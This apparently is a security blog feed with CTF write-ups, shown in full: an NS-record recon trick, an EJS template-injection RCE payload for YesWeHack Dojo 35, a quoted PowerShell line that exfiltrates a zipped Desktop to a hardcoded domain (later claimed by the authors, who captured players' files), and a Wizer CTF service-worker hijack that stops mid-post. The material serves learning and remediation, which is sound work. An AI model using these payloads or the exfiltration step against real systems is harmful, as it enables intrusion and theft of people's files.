alt="Unveiling more attack surface using matching NS records"><p>Hey everyone!</p><p>I&apos;m always on the lookout for new techniques to expand the attack surface for my bug bounty targets. While reviewing my old notes, I came across a very interesting and, as far as I know, unique method for discovering domain names owned by companies.</p><h1 id="short-introduction">Short introduction</h1><p>Every domain has it&apos;s own NS records. NS records tell the Internet where to go to find out a domain&apos;s IP address. Companies may own many domains, which not all of them have the company&apos;s name in their domain name. We can find them, by reverse-searching those Name Servers. </p><p>Every domain has its own NS (Name Server) records. These records tell the Internet where to look to find a domain&apos;s IP address. Companies often own multiple domains, many of which may not include the company&apos;s name in their URLs. However, we can uncover these domains by performing a reverse search on their Name Servers. It&apos;s quite cool!</p><h1 id="poc-gtfo">PoC || GTFO</h1><p>Let&#x2019;s get hands-on! For this example, I&#x2019;ll be using <strong><code>hackerone.com</code></strong> as the target. First, we need to retrieve the Name Server (NS) records for <code><strong>hackerone.com</strong></code>. This can be done using the <code>dig</code> tool:</p><pre><code class="language-bash">dig ns hackerone.com</code></pre><p>This commands returns two ns records in the <code>ANSWERS</code> section:</p><pre><code>;; ANSWER SECTION:
hackerone.com.          86400   IN      NS      a.ns.hackerone.com.
hackerone.com.          86400   IN      NS      b.ns.hackerone.com.</code></pre><p>The NS records returned are <strong><code>a.ns.hackerone.com</code></strong> and <strong><code>b.ns.hackerone.com</code></strong>. These are unique to our target company, which is a fortunate scenario for us. However, in some cases, you might encounter shared Name Servers, such as those provided by Akamai. When that happens, it becomes nearly impossible to determine which domains belong to a specific company.</p><p>Let&apos;s continue! We can use these two nameservers with the <code>sharedns.asp.gg</code> api, to find out what other domains belong to these NS&apos;:</p><pre><code class="language-bash">curl -s -H &apos;Content-Type: application/json&apos; --data-raw &apos;{&quot;name_servers&quot;:[&quot;a.ns.hackerone.com&quot;,&quot;b.ns.hackerone.com&quot;]}&apos; https://sharedns.asp.gg/api/v1/search | jq</code></pre><p>This query, in my case, returned a total of 815 unique domain names. Here are a few examples:</p><blockquote>breaker101.com<br>wearehackebone.com<br>theinternetbugbounty.com<br>inverselink.com<br>together-we-hit-harder.com<br>zerodaily.net</blockquote><p>and many other cool ones! Go give it a try yourself! </p><h1 id="outro">Outro</h1><p>As you can imagine, this API can be incredibly powerful. For instance, Cloudflare assigns each customer a (mostly) unique set of NS records, which works to our advantage! However, as mentioned earlier, some providers use shared NS records. In those cases, it becomes impossible to determine which domains are owned by a specific company.</p><p>I highly recommend exploring this API on your own, as it offers significant potential for uncovering valuable information. However, always use it responsibly! Additionally, keep in mind that I don&#x2019;t own this API, so exercise caution with any data you send to it.</p><p>Cheers! Have fun!&#x1F389;</p><p><a href="https://aasdfasdfasddf.s3.amazonaws.com/?ref=yoerivegt.com"><code>https://aasdfasdfasddf.s3.amazonaws.com/</code></a></p><p><a href="https://aasdfasdfasddf.s3.amazonaws.com/?ref=yoerivegt.com">https://aasdfasdfasddf.s3.amazonaws.com/</a></p><blockquote>dream big</blockquote>]]></content:encoded></item><item><title><![CDATA[YesWeHack Dojo 35 - Chatroom]]></title><description><![CDATA[My writeup of the YesWeHack #35 chatroom challenge.]]></description><link>https://yoerivegt.com/yeswehack-dojo-35/</link><guid isPermaLink="false">66cc90b20519ed0a32225114</guid><category><![CDATA[ctf]]></category><category><![CDATA[hacking]]></category><category><![CDATA[web hacking]]></category><category><![CDATA[web app]]></category><category><![CDATA[Bug Bounty]]></category><category><![CDATA[yeswehack]]></category><category><![CDATA[bug]]></category><category><![CDATA[dojo]]></category><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Sat, 21 Sep 2024 12:00:40 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1724105266499-fceb8fbe7bb5?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDYwfHx8fHx8Mnx8MTcyNDY4MjgxOXw&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1724105266499-fceb8fbe7bb5?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wxMTc3M3wwfDF8YWxsfDYwfHx8fHx8Mnx8MTcyNDY4MjgxOXw&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=2000" alt="YesWeHack Dojo 35 - Chatroom"><p>In this post, I&apos;ll be describing the exploitation of the <a href="https://dojo-yeswehack.com/challenge-of-the-month/dojo-35?ref=yoerivegt.com" rel="noreferrer">YesWeHack dojo #35</a>, called Chatroom.</p><h1 id="description">Description</h1><p>Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.</p><p>In the context of this application, Dojo-35, the vulnerability lays in the fact that user input was being set as a filename, making it possible to path traverse. Abusing that, we could overwrite a file which was being imported and executed by the application, to gain Remote Code Execution on the target.</p><p></p><h1 id="exploitation">Exploitation</h1><p>First of all, looking at the Message class in the code, we can see a variable being used to set a file path. The&#xA0;<code>this.to</code>&#xA0;variable is used to set the file path name, whilst the&#xA0;<code>this.msg</code>&#xA0;is being used to set the contents of the file:</p><pre><code class="language-javascript">class Message {
...
    makeDraft() {
        this.file = path.basename(`${Date.now()}_${this.to}`)
        fs.writeFileSync(this.file, this.msg)
    }
...
}</code></pre><p>This path variable later gets read out by the&#xA0;<code>getDraft()</code>&#xA0;function:</p><pre><code class="language-js">    getDraft() {
        return fs.readFileSync(this.file)
    }
</code></pre><p>The&#xA0;<code>this.to</code>&#xA0;variable gets set from a json object, which is the Dojo&apos;s input, which gets send to the&#xA0;<code>Message</code>&#xA0;class:</p><pre><code class="language-js">const userData = decodeURIComponent(&quot;input&quot;)

var data = {&quot;to&quot;:&quot;&quot;, &quot;msg&quot;:&quot;&quot;}
if ( userData != &quot;&quot; ) {
    try {
        data = JSON.parse(userData)
    } catch(err) {
        console.error(&quot;Error : Message could not be sent!&quot;)
    }
}

var message = new Message(data[&quot;to&quot;], data[&quot;msg&quot;])
</code></pre><p>Due to the&#xA0;<code>to</code>&#xA0;variable being used in the path variable, it&apos;s possible to perform a path traversal, with for example the following payload:&#xA0;<code>a/../../../../../../../../tmp/flag.txt</code><br>However, when setting this as the&#xA0;<code>to</code>&#xA0;input variable, it simply overwrites the flag file, rendering it useless for us.</p><p>To further abuse this path traversal vulnerability, we can abuse the last line of the dojo:</p><pre><code class="language-js">console.log( ejs.render(fs.readFileSync(&apos;index.ejs&apos;, &apos;utf8&apos;), {message: message.msg}) )</code></pre><p>This piece of code imports the&#xA0;<code>./index.ejs</code>&#xA0;file, and &quot;renders&quot; it with ejs. The contents of the file gets set with the&#xA0;<code>msg</code>&#xA0;input variable. Glueing this together, we can path traverse to&#xA0;<code>./index.js</code>, and set the contents of the file to be a EJS payload which reads out the flag file, by executing a system command.</p><p></p><h1 id="pocgtfo">PoC||gtfo</h1><p>My Proof of Concept payload is the following:</p><pre><code class="language-json">{&quot;to&quot;:&quot;a/../index.ejs&quot;, &quot;msg&quot;:&quot;&lt;%=global.process.mainModule.constructor._load(`child_process`).execSync(`cat /tmp/flag.txt`).toString()%&gt;&quot;}
</code></pre><p>So we use the&#xA0;<code>to</code>&#xA0;input variable to path traverse over to the&#xA0;<code>./index.ejs</code>&#xA0;file, and set the contents of that file to some executable EJS script, to gain command execution on the application.</p><p>This Proof of Concept payload cats out the&#xA0;<code>/tmp/flag.txt</code>&#xA0;file:</p><pre><code>FLAG{W1th_Cr34t1vity_C0m3s_RCE!!}
</code></pre><h1 id="risk">Risk</h1><p>The risk of Remote Code Execution, are, and not limited to: data theft, system compromise, denial of service, reputation damage.</p><p>These risks can lead to significant financial loss, operational disruption, and legal consequences. RCE vulnerabilities can be exploited by attackers to gain unauthorized access to sensitive information, take control of systems, disrupt services, and damage an organization&apos;s reputation.</p><p></p><h1 id="remediation">Remediation</h1><p>To remedate this vulnerable, there are a few options:</p><ol><li>You can set a&#xA0;<strong>server side</strong>&#xA0;check whether the&#xA0;<code>to</code>&#xA0;input variable only contains letters and numbers, for example this regex check:&#xA0;<code>[a-zA-Z0-9_-]*</code></li><li>Instead of writing data to a file, write it to a database, like Mysql or PostgreSQL, however, you should make sure to&#xA0;<strong>prevent SQL injections</strong>&#xA0;if you choose for this method</li><li>You can save the draft message client side, on the user&apos;s browser. This way, this vulnerability wouldn&apos;t exist, and you save bandwidth.</li></ol><p></p><p>Thanks for reading!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://yoerivegt.com/content/images/2024/08/image.png" class="kg-image" alt="YesWeHack Dojo 35 - Chatroom" loading="lazy" width="1908" height="936" srcset="https://yoerivegt.com/content/images/size/w600/2024/08/image.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/08/image.png 1000w, https://yoerivegt.com/content/images/size/w1600/2024/08/image.png 1600w, https://yoerivegt.com/content/images/2024/08/image.png 1908w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">the flag shown in the Dojo</span></figcaption></figure>]]></content:encoded></item><item><title><![CDATA[Winning NahamCon Pre-CTF 2024!]]></title><description><![CDATA[<p>Just a very short brag. </p><p>Me and my team <a href="https://discord.gg/CFYQxSGh3B?ref=yoerivegt.com" rel="noreferrer">SQLKinkjection</a> managed to claim the first spot in the <a href="https://www.nahamcon.com/?ref=yoerivegt.com" rel="noreferrer">NahamCon</a> Pre-CTF! I&apos;m incredibly proud of this achievement. Thanks for Ben (aka <a href="https://nahamsec.com/?ref=yoerivegt.com" rel="noreferrer">Nahamsec</a>) for creating this awesome event!</p><p>That&apos;s it, thanks!</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/09/XZF3aKi.png" class="kg-image" alt loading="lazy" width="979" height="478" srcset="https://yoerivegt.com/content/images/size/w600/2024/09/XZF3aKi.png 600w, https://yoerivegt.com/content/images/2024/09/XZF3aKi.png 979w" sizes="(min-width: 720px) 720px"></figure><p></p><p></p>]]></description><link>https://yoerivegt.com/winning-nahamcon-pre-ctf-2024/</link><guid isPermaLink="false">664a6e310519ed0a322250f4</guid><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Tue, 21 May 2024 16:16:03 GMT</pubDate><media:content url="https://yoerivegt.com/content/images/2024/05/OIG2.jpeg" medium="image"/><content:encoded><![CDATA[<img src="https://yoerivegt.com/content/images/2024/05/OIG2.jpeg" alt="Winning NahamCon Pre-CTF 2024!"><p>Just a very short brag. </p><p>Me and my team <a href="https://discord.gg/CFYQxSGh3B?ref=yoerivegt.com" rel="noreferrer">SQLKinkjection</a> managed to claim the first spot in the <a href="https://www.nahamcon.com/?ref=yoerivegt.com" rel="noreferrer">NahamCon</a> Pre-CTF! I&apos;m incredibly proud of this achievement. Thanks for Ben (aka <a href="https://nahamsec.com/?ref=yoerivegt.com" rel="noreferrer">Nahamsec</a>) for creating this awesome event!</p><p>That&apos;s it, thanks!</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/09/XZF3aKi.png" class="kg-image" alt="Winning NahamCon Pre-CTF 2024!" loading="lazy" width="979" height="478" srcset="https://yoerivegt.com/content/images/size/w600/2024/09/XZF3aKi.png 600w, https://yoerivegt.com/content/images/2024/09/XZF3aKi.png 979w" sizes="(min-width: 720px) 720px"></figure><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[How we turned a challenge against the players and creators - Nahamcon CTF 2023]]></title><description><![CDATA[<h2 id="about-the-challenge">About the Challenge</h2><p>During the process of deobfuscating the powershell payload from <a href="https://github.com/SQLKinkjection/Writeups/blob/main/2023/nahamcon/Forensics/IR/IR.md?ref=yoerivegt.com" rel="noreferrer">the IR challenge</a>, we noticed that the domain to which all the encrypted files were being sent was not yet claimed. Here&apos;s an explanation of how we received hundreds of decryptable files the CTF players sent</p>]]></description><link>https://yoerivegt.com/how-we-turned-a-challenge-against-the-players-and-creators-nahamctf-2023/</link><guid isPermaLink="false">65f405480519ed0a322250db</guid><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Fri, 15 Mar 2024 08:29:14 GMT</pubDate><media:content url="https://yoerivegt.com/content/images/2024/03/OIG1.jpeg" medium="image"/><content:encoded><![CDATA[<h2 id="about-the-challenge">About the Challenge</h2><img src="https://yoerivegt.com/content/images/2024/03/OIG1.jpeg" alt="How we turned a challenge against the players and creators - Nahamcon CTF 2023"><p>During the process of deobfuscating the powershell payload from <a href="https://github.com/SQLKinkjection/Writeups/blob/main/2023/nahamcon/Forensics/IR/IR.md?ref=yoerivegt.com" rel="noreferrer">the IR challenge</a>, we noticed that the domain to which all the encrypted files were being sent was not yet claimed. Here&apos;s an explanation of how we received hundreds of decryptable files the CTF players sent us by running the encrypter.</p><h2 id="how-we-did-it">How we did it</h2><p>After we deobfuscated the first stage of the payload, we stumbled across this powershell code:<br></p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/03/PowershellCode.png" class="kg-image" alt="How we turned a challenge against the players and creators - Nahamcon CTF 2023" loading="lazy" width="2000" height="1056" srcset="https://yoerivegt.com/content/images/size/w600/2024/03/PowershellCode.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/03/PowershellCode.png 1000w, https://yoerivegt.com/content/images/size/w1600/2024/03/PowershellCode.png 1600w, https://yoerivegt.com/content/images/2024/03/PowershellCode.png 2200w" sizes="(min-width: 720px) 720px"></figure><p>In the second-last line, you can see the following piece of powershell code:</p><pre><code class="language-ps">Invoke-Webrequest -Method Post -Uri &quot;https://www.thepowershellhacker.com/exfiltration&quot; -Body $body
</code></pre><hr><p>This line sends a variable called <code>body</code> to <code>www.thepowershellhacker.com/exfiltration</code> in a post request.</p><p>The variable <code>body</code> is specified a bit earlier in the code:</p><pre><code class="language-ps">$zipFileBytes = Get-Content -Path (&quot;C:\Users\&quot;+$user+&quot;\Downloads\Desktop.zip&quot;) -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}
</code></pre><p>Here we can clearly see that a zip file from the desktop (containing every file from the desktop) gets encoded in Base64, and then transferred into a Json object.</p><hr><p>Out of curiosity, we quickly checked if the domain <code>thepowershellhacker.com</code> was claimed, expecting it to be.</p><p>However, to our surprise, it wasn&apos;t!<br></p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/03/claimed.png" class="kg-image" alt="How we turned a challenge against the players and creators - Nahamcon CTF 2023" loading="lazy" width="838" height="319" srcset="https://yoerivegt.com/content/images/size/w600/2024/03/claimed.png 600w, https://yoerivegt.com/content/images/2024/03/claimed.png 838w" sizes="(min-width: 720px) 720px"></figure><p><em>A Dutch website to check if the domain is available for sale.</em></p><h2 id="what-now">What now?</h2><hr><p>After we claimed the domain, we went ahead and set up a python web server, which would listen for incoming requests:</p><pre><code class="language-python">from flask import Flask, request, jsonify
import time

app = Flask(__name__)

@app.route(&apos;/exfiltration&apos;, methods=[&apos;POST&apos;])
def result():

    fileName = str(time.time()) + &apos;.base64.zip&apos;
    f = open(fileName, &apos;w+&apos;)

    receivedFile = request.get_json(force=True)[&apos;file&apos;]
    f.write(receivedFile)

    f.close()
    return &quot;&quot;, 200

if __name__ == &apos;__main__&apos;:
    app.run(host=&quot;127.0.0.1&quot;, port=2001)
</code></pre><p>This python web server would receive the base64 encoded payload from the body, pull it out of the json object, and put it in a file.</p><h2 id="what-did-we-receive">What did we receive?</h2><p>After the Nahamcon CTF ended, we went ahead and checked how many files we received:<br></p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/03/results.png" class="kg-image" alt="How we turned a challenge against the players and creators - Nahamcon CTF 2023" loading="lazy" width="756" height="62" srcset="https://yoerivegt.com/content/images/size/w600/2024/03/results.png 600w, https://yoerivegt.com/content/images/2024/03/results.png 756w" sizes="(min-width: 720px) 720px"></figure><p>We received a total of 600 files, that&apos;s insane!<br>Sadly, after mass decrypting all the files we received, we came to the conclusion that there are <em>only</em> 33 files that are from something other than this ctf.<br>Here&apos;s a list of all the files that were not part of the CTF challenge:</p><pre><code>Ableton Live 11 Suite.lnk
asdf
ASDF
asdf.ps1
Autoruns.lnk
available_packages.txt
Bitdefender.lnk
config.xml
desktop.ini
failed_packages.txt
fakenet_logs.lnk
file.txt
flare-vm-4
Ghost Toolbox.lnk
HitmanPro.Alert.lnk
imac.py
kanker.txt
New Text Document.txt
nice.ps1
NPE.lnk
ProcessExplorer.lnk
PSDecode.ps1
QQ.lnk
readme.txt
TCPView.lnk
Telegram.lnk
test.txt
tes.txt
Tools.lnk
UpdateHealthTools.001.etl
UpdateHealthTools.001.evtx
x32dbg.lnk
x64dbg.lnk
</code></pre><p>A lot of these files end in <code>.lnk</code>, which means they are windows file shortcuts. They&apos;re not interesting.</p><p>After manually going through all the files, we concluded that nothing really of interest was captured. This means that almost everyone was smart enough to not run this on their own desktop environment but in the VM supplied by the Nahamcon CTF.</p><p>We&apos;d also like to note that we didn&apos;t receive anything that could be identified back to a specific users, nor did we receive any sensitive files. Next to that, we&apos;ll destroy all the files and logs we&apos;ve received.</p><h2 id="was-this-a-waste-of-time">Was this a waste of time?</h2><p>No, this absolutely wasn&apos;t a waste of our time and resources. First of all, the CTF challenge in itself was already pretty fun to solve. Next to that, we quite enjoyed the process of making all of our quick and dirty tools. From the python web server, to the mass decoders. We&apos;re also delighted to see that almost everyone ran the &quot;ransomware&quot; in the Virtual Machine supplied by the CTF organizers, and not on their own machine.</p><p>We absolutely loved the process we went through by making this.</p><h2 id="avoiding-such-problems-in-the-future">Avoiding such problems in the future</h2><p>Adding web requests to a CTF challenge can add flavour and make it more engaging, but how to best avoid such mistakes?</p><ul><li>First of all, make sure you have full control over the domain or IP you include in the challenge.</li><li>However, if that&apos;s not feasible, using a non-existent TLD, like <code>hacker.d0main</code> makes it impossible for someone to claim such a domain.</li><li>Eventually, one can include an IPv4 address that starts with <code>127</code>. For example, 127.13.65.78 and 127.84.65.183 both point to localhost, making sure the requests won&apos;t leave the competitor&apos;s machine.</li></ul><hr><blockquote><em>We want to thank Nahamsec and John Hammond for making and hosting this Capture the Flag tournament. And we&apos;d also like to thank <code>@awesome10billion#1164</code> for making the forensics challenge. We quite enjoyed it.</em></blockquote><h6 id="written-by-yoeri-chillz">Written by Yoeri &amp; <a href="https://viberunner.xyz/?ref=yoerivegt.com">Chillz</a></h6>]]></content:encoded></item><item><title><![CDATA[Wizer CTF - Recipe Book - Alert and Beyond!]]></title><description><![CDATA[My writeup of the Wizer CTF Recipe Book challenge.]]></description><link>https://yoerivegt.com/wizer-ctf-recipe-book/</link><guid isPermaLink="false">65c2141351765a51c7809708</guid><category><![CDATA[ctf]]></category><category><![CDATA[service workers]]></category><category><![CDATA[service]]></category><category><![CDATA[workers]]></category><category><![CDATA[wizer]]></category><category><![CDATA[wizer ctf]]></category><category><![CDATA[beyond]]></category><category><![CDATA[beyond the flag]]></category><category><![CDATA[beyond root]]></category><dc:creator><![CDATA[Yoeri Vegt]]></dc:creator><pubDate>Tue, 06 Feb 2024 14:22:15 GMT</pubDate><media:content url="https://yoerivegt.com/content/images/2024/02/_69d8fa46-2448-4e80-ad78-4ed7b41ec39a.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://yoerivegt.com/content/images/2024/02/_69d8fa46-2448-4e80-ad78-4ed7b41ec39a.jpg" alt="Wizer CTF - Recipe Book - Alert and Beyond!"><p>One of my favorite Wizer CTF challenges was the Recipe Book challenge. You were served a quite small Node.js web app where you had to pop a JavaScript alert through postmessages and web workers. Although it seems like a weird combo, it was quite realistic and interesting! </p><p>I actually decided to go a step further than just the alert through postmessages, and eventually got full control over the content of the page. </p><p>Have fun reading my writeup!</p><h2 id="solving-the-challenge">Solving the challenge</h2><h3 id="recon">Recon</h3><p>We were first met with an <code>app.js</code> file in the challenge dashboard:</p><pre><code class="language-javascript">const express = require(&apos;express&apos;);
const helmet = require(&apos;helmet&apos;);
const app = express();
const port = 80;

// Serve static files from the &apos;public&apos; directory
app.use(express.static(&apos;public&apos;));
app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: [&quot;&apos;self&apos;&quot;],
        scriptSrc: [&quot;&apos;self&apos;&quot;, ],
        styleSrc: [&quot;&apos;self&apos;&quot;, &quot;&apos;unsafe-inline&apos;&quot;, &apos;maxcdn.bootstrapcdn.com&apos;],
        workerSrc: [&quot;&apos;self&apos;&quot;]
        // Add other directives as needed
      },
    })
  );

// Sample recipe data
const recipes = [
    {
        id: 1,
        title: &quot;Spaghetti Carbonara&quot;,
        ingredients: &quot;Pasta, eggs, cheese, bacon&quot;,
        instructions: &quot;Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.&quot;,
        image: &quot;spaghetti.jpg&quot;
    },
    {
        id: 2,
        title: &quot;Chicken Alfredo&quot;,
        ingredients: &quot;Chicken, fettuccine, cream sauce, Parmesan cheese&quot;,
        instructions: &quot;Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.&quot;,
        image: &quot;chicken_alfredo.jpg&quot;
    },
    // Add more recipes here
];

// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) =&gt; {
    res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;);
    res.header(&quot;Access-Control-Allow-Headers&quot;, &quot;Origin, X-Requested-With, Content-Type, Accept&quot;);
    next();
});

// Endpoint to get all recipes
app.get(&apos;/api/recipes&apos;, (req, res) =&gt; {
    res.json({ recipes });
});

app.listen(port, () =&gt; {
    console.log(`API server is running on port ${port}`);
});</code></pre><p>Looking through this code, nothing particularly stands out as of now. It seems to be serving a simple web app with some Content Security Policy (CSP) rules.</p><p>When we visit the challenge website, however, we are greeted with what seems to be a recipe book.</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1310" height="726" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image.png 1000w, https://yoerivegt.com/content/images/2024/02/image.png 1310w" sizes="(min-width: 720px) 720px"></figure><p>Looking at its source, we find a second <code>app.js</code> file. Because it&apos;s quite long, I&apos;ve snipped it down to the most important bits for this challenge:</p><pre><code class="language-js">document.addEventListener(&apos;DOMContentLoaded&apos;, function () {

    // Get the &quot;mode&quot; and &quot;color&quot; GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get(&apos;mode&apos;);
    const colorParam = searchParams.get(&quot;color&quot;);

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById(&quot;mode&quot;).children[0].id = modeParam;
    }

    if (colorParam !== null &amp;&amp; modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }

    // Get the mode element
    const modeElement = document.getElementById(&apos;mode&apos;);

    if (modeElement) {
        // Get the background color element
        let backgroundColorElement = document.getElementById(&apos;light&apos;);
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;
        }

        backgroundColorElement = document.getElementById(&apos;dark&apos;);
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;

            // Apply CSS inversion if it&apos;s a &apos;dark&apos; mode
            document.getElementById(&apos;filter&apos;).style.filter = &apos;invert(100%)&apos;;
        }
    }
});

// Fetch and populate recipes when the page loads
document.addEventListener(&apos;DOMContentLoaded&apos;, () =&gt; {    
        // Service worker registration
        if (&apos;serviceWorker&apos; in navigator) {
            const sw = document.getElementById(&apos;sw&apos;).innerText;
            navigator.serviceWorker.register(&apos;sw.js?sw=&apos; + sw)
                .then(registration =&gt; {
                    console.log(&apos;Service Worker registered with scope:&apos;, registration.scope);
                })
                .catch(error =&gt; {
                    console.error(&apos;Service Worker registration failed:&apos;, error);
                });
        }
});

const channel = new BroadcastChannel(&apos;recipebook&apos;);
channel.addEventListener(&apos;message&apos;, (event) =&gt; {
  alert(event.data.message);
});
  </code></pre><p>The first important function in this JavaScript file takes two GET parameters, <code>mode</code> and <code>color</code>, which it uses for setting the theme of the page. These two parameters get reflected in the page&apos;s DOM as an HTML element ID and the text content of that ID.</p><pre><code class="language-javascript">document.addEventListener(&apos;DOMContentLoaded&apos;, function () {

    // Get the &quot;mode&quot; and &quot;color&quot; GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get(&apos;mode&apos;);
    const colorParam = searchParams.get(&quot;color&quot;);

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById(&quot;mode&quot;).children[0].id = modeParam;
    }

    if (colorParam !== null &amp;&amp; modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});
</code></pre><p>The second important function of this <code>app.js</code> file registers service workers on the page. Service workers are scripts that run in the background of a web browser, independent of web pages, enabling features like push notifications, background sync, and caching to enhance the performance and user experience of web applications.</p><p>The page determines which service workers to load depending on the inner text value of the HTML element with the ID of &quot;sw&quot;. It then tries to register that service worker. Please note the <code>sw.js</code> reference for later. Can you see what we&apos;re going with this yet? ;)</p><pre><code class="language-js">// Fetch and populate recipes when the page loads
document.addEventListener(&apos;DOMContentLoaded&apos;, () =&gt; {
		// [snip]    
        // Service worker registration
        if (&apos;serviceWorker&apos; in navigator) {
            const sw = document.getElementById(&apos;sw&apos;).innerText;
            navigator.serviceWorker.register(&apos;sw.js?sw=&apos; + sw)
                .then(registration =&gt; {
                    console.log(&apos;Service Worker registered with scope:&apos;, registration.scope);
                })
                .catch(error =&gt; {
                    console.error(&apos;Service Worker registration failed:&apos;, error);
                });
        }
});</code></pre><p>Then, at the end of the script, we have three short lines which come in clutch later in this challenge:</p><pre><code class="language-js">const channel = new BroadcastChannel(&apos;recipebook&apos;);
channel.addEventListener(&apos;message&apos;, (event) =&gt; {
  alert(event.data.message);
});</code></pre><p>This part of the script listens to whenever a postmessage is made on the <code>recipebook</code> broadcast channel. It then pops an alert with the contents of that postmessage request.</p><p>Lastly, we have the <code>sw.js</code> file.</p><pre><code class="language-js">// Allow loading in of service workers dynamically
importScripts(&apos;/utils.js&apos;);
importScripts(`/${getParameterByName(&apos;sw&apos;)}`);
</code></pre><p>This file dynamically loads in a service worker, from a GET parameter which gets defined by the <code>app.js</code> file on the page. </p><h3 id="initial-idea">Initial idea</h3><p>When participating in CTFs, I like to backtrack from what the goal is to the start of the challenge. Our goal is to pop an alert with the text &quot;Wizer&quot;.</p><p>One thing that almost instantly attracted my attention was the postmessage listener we found in <code>app.js</code>.</p><pre><code class="language-js">const channel = new BroadcastChannel(&apos;recipebook&apos;);
channel.addEventListener(&apos;message&apos;, (event) =&gt; {
  alert(event.data.message);
});</code></pre><p>If we can somehow send a postmessage request on the <code>recipebook</code> channel, we&apos;re able to alert the &quot;Wizer&quot; string!</p><p>However, this CTF requires you to enter a single URL in the solution, with a bot that&apos;ll visit that URL you posted. Meaning we can&apos;t have multiple tabs open to trigger an alert. We somehow need to trigger the alert from visiting a single URL, like a user clicking on your link. But how?</p><p>Tracking back, we might be able to exploit the dynamic loading of service workers!</p><figure class="kg-card kg-code-card"><pre><code class="language-js ">importScripts(`/${getParameterByName(&apos;sw&apos;)}`);</code></pre><figcaption><p><span style="white-space: pre-wrap;">sw.js</span></p></figcaption></figure><p>This <code>sw.js</code> script gets registered from <code>app.js</code>, which takes the <code>innerText</code> value from the HTML element with the ID of <code>sw</code>.</p><pre><code class="language-js">const sw = document.getElementById(&apos;sw&apos;).innerText;
navigator.serviceWorker.register(&apos;sw.js?sw=&apos; + sw)</code></pre><p>Does this ring any bell yet? Do you remember the function that sets the ID and innerText values for the theme?</p><pre><code class="language-js">document.addEventListener(&apos;DOMContentLoaded&apos;, function () {

    // Get the &quot;mode&quot; and &quot;color&quot; GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get(&apos;mode&apos;);
    const colorParam = searchParams.get(&quot;color&quot;);

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById(&quot;mode&quot;).children[0].id = modeParam;
    }

    if (colorParam !== null &amp;&amp; modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});</code></pre><p>Here you see the <code>mode</code> parameter gets set as the ID of an HTML element, and the <code>color</code> parameter gets set as the text content of that ID.</p><p><a href="https://events.wizer-ctf.com/?mode=customID&amp;color=textValue&amp;ref=yoerivegt.com"><code>https://events.wizer-ctf.com/?mode=customID&amp;color=textValue</code></a></p><h3 id="chaining-everything-together">Chaining everything together</h3><p>Since service workers get registered from the HTML element with an <code>sw</code> ID, we can overwrite the default service worker on the page.</p><p><a href="https://events.wizer-ctf.com/?mode=sw&amp;color=test12345.js&amp;ref=yoerivegt.com"><code>https://events.wizer-ctf.com/?mode=sw&amp;color=test12345.js</code></a></p><p>Looking in the browser&apos;s developer console, we can see the browser is unable to register the service worker because it doesn&apos;t exist:</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://yoerivegt.com/content/images/2024/02/image-5.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1904" height="254" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-5.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-5.png 1000w, https://yoerivegt.com/content/images/size/w1600/2024/02/image-5.png 1600w, https://yoerivegt.com/content/images/2024/02/image-5.png 1904w" sizes="(min-width: 1200px) 1200px"></figure><p>Can we somehow call a remote JavaScript file on which we host the postmessage script? 